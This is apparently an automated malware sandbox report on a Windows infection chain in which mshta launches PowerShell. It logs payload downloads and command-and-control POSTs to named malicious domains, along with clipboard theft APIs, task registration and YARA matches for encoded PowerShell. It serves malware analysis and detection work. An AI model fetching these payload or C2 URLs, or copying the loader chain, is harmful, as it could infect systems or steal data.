Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LZAQH4UM7XDWG9ZNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1207Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SQ9O8JPI4MPQCKNB2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1122Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: learningypr.click

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /hubus.xlsx HTTP/1.1Host: atsuka.thrivezest.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: atsuka.thrivezest.org
Source: global traffic	DNS traffic detected: DNS query: learningypr.click
Source: global traffic	DNS traffic detected: DNS query: klipcatepiu0.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: learningypr.click

Source: powershell.exe, 00000004.00000002.2190852545.0000000005D78000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.3469276083.00000000050C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2187440452.0000000004D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3469276083.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.3469276083.00000000050C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.2187440452.0000000004D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3469276083.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.2187440452.0000000004F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atsuka.thri
Source: powershell.exe, 00000006.00000002.3469276083.00000000050C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atsuka.thrivezest.org
Source: powershell.exe, 00000006.00000002.3468681220.0000000003260000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3466042158.0000000002E50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsuka.thrivezest.org/hubus.xlsx
Source: powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.3469276083.00000000050C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000004.00000002.2187440452.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/
Source: powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/WyxI
Source: powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/XH
Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/int_clp_ldr_sha.txt
Source: powershell.exe, 00000016.00000002.3663856176.0000000002C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/int_clp_ldr_sha.txt/537.36
Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/int_clp_ldr_sha.txtEP
Source: powershell.exe, 00000016.00000002.3671860372.00000000051D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.clic
Source: powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/
Source: powershell.exe, 00000016.00000002.3668719743.0000000002CC4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3668933189.0000000002CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/api
Source: powershell.exe, 00000016.00000002.3668719743.0000000002CC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/api9
Source: powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apiHJ
Source: powershell.exe, 00000016.00000002.3671969810.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apics7
Source: powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apihK
Source: powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/piK
Source: powershell.exe, 00000004.00000002.2190852545.0000000005D78000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443

Source: unknown	HTTPS traffic detected: 104.21.18.182:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50015 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 22_2_00432BE0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

22_2_00432BE0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 22_2_00432BE0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

22_2_00432BE0

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 2656, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1428, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03080960 NtResumeThread,		6_2_03080960
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03080959 NtResumeThread,		6_2_03080959

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0309B8B1	6_2_0309B8B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0309B8C0	6_2_0309B8C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03135070	6_2_03135070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03135062	6_2_03135062
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_031355F8	6_2_031355F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_031355EA	6_2_031355EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03138E70	6_2_03138E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0715CF5D	6_2_0715CF5D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0715CF88	6_2_0715CF88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07158956	6_2_07158956
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07158960	6_2_07158960
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074B8320	6_2_074B8320
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074BC0E8	6_2_074BC0E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074B2E58	6_2_074B2E58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074BA305	6_2_074BA305
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074BA310	6_2_074BA310
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074B8315	6_2_074B8315
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074BC1DE	6_2_074BC1DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074BC0DB	6_2_074BC0DB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C76C0	6_2_074C76C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6C3F	6_2_074C6C3F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6F77	6_2_074C6F77
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C5F19	6_2_074C5F19
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6F14	6_2_074C6F14
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C5FE1	6_2_074C5FE1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C5FF0	6_2_074C5FF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C7B87	6_2_074C7B87
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6B81	6_2_074C6B81
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6B90	6_2_074C6B90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6E64	6_2_074C6E64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6E05	6_2_074C6E05
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6E2B	6_2_074C6E2B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C76B1	6_2_074C76B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C0040	6_2_074C0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C0006	6_2_074C0006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C6C18	6_2_074C6C18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074C7094	6_2_074C7094
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_086243F0	6_2_086243F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_08620040	6_2_08620040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_086210F8	6_2_086210F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_08621108	6_2_08621108
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00424010	22_2_00424010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0040D0C6	22_2_0040D0C6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00427950	22_2_00427950
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043FAD0	22_2_0043FAD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00437B10	22_2_00437B10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004223A0	22_2_004223A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0040AC10	22_2_0040AC10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00412540	22_2_00412540
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00410D64	22_2_00410D64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0040E5AD	22_2_0040E5AD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00437740	22_2_00437740
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00408710	22_2_00408710
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00419F2F	22_2_00419F2F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041A043	22_2_0041A043
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00431060	22_2_00431060
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043E870	22_2_0043E870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041E800	22_2_0041E800
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043608A	22_2_0043608A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004090B0	22_2_004090B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004170B8	22_2_004170B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0040E152	22_2_0040E152
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041990E	22_2_0041990E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00405920	22_2_00405920
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00403930	22_2_00403930
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00437130	22_2_00437130
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00411934	22_2_00411934
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00412138	22_2_00412138
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004299C0	22_2_004299C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00406180	22_2_00406180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00432980	22_2_00432980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043DA40	22_2_0043DA40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00414A00	22_2_00414A00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00424A00	22_2_00424A00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004042E0	22_2_004042E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041F2A0	22_2_0041F2A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041EB40	22_2_0041EB40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00424B50	22_2_00424B50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043DB50	22_2_0043DB50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041635B	22_2_0041635B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042EB16	22_2_0042EB16
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00427320	22_2_00427320
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043832B	22_2_0043832B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00426339	22_2_00426339
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004073F0	22_2_004073F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041DB89	22_2_0041DB89
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00428C65	22_2_00428C65
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00422C00	22_2_00422C00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00404C10	22_2_00404C10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043EC20	22_2_0043EC20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042D4CF	22_2_0042D4CF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00427CD0	22_2_00427CD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043FCD0	22_2_0043FCD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041D4E0	22_2_0041D4E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00416CE0	22_2_00416CE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043E4E0	22_2_0043E4E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00427CF0	22_2_00427CF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004094B0	22_2_004094B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041F4B0	22_2_0041F4B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0040DD61	22_2_0040DD61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042AD70	22_2_0042AD70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042E501	22_2_0042E501
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043DD20	22_2_0043DD20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004205D0	22_2_004205D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004365D6	22_2_004365D6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042E5D8	22_2_0042E5D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00405DE0	22_2_00405DE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042D4CA	22_2_0042D4CA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041A590	22_2_0041A590
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004385A0	22_2_004385A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043DDB0	22_2_0043DDB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041BE50	22_2_0041BE50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041CE7A	22_2_0041CE7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00406610	22_2_00406610
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00438E17	22_2_00438E17
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042E621	22_2_0042E621
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042362E	22_2_0042362E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00415630	22_2_00415630
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042E634	22_2_0042E634
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00436ED0	22_2_00436ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0042C6F0	22_2_0042C6F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004176FE	22_2_004176FE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041EF50	22_2_0041EF50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00424750	22_2_00424750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0040A770	22_2_0040A770
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0041DF70	22_2_0041DF70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004176FE	22_2_004176FE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00416F05	22_2_00416F05
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00445F08	22_2_00445F08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00402F20	22_2_00402F20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043EFF0	22_2_0043EFF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043AF80	22_2_0043AF80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00429F98	22_2_00429F98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00422FB0	22_2_00422FB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004297B8	22_2_004297B8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 004149F0 appears 57 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00407F80 appears 47 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 3632
Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 3632			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 2656, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1428, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 6.2.powershell.exe.30a0000.0.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 6.2.powershell.exe.30a0000.0.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
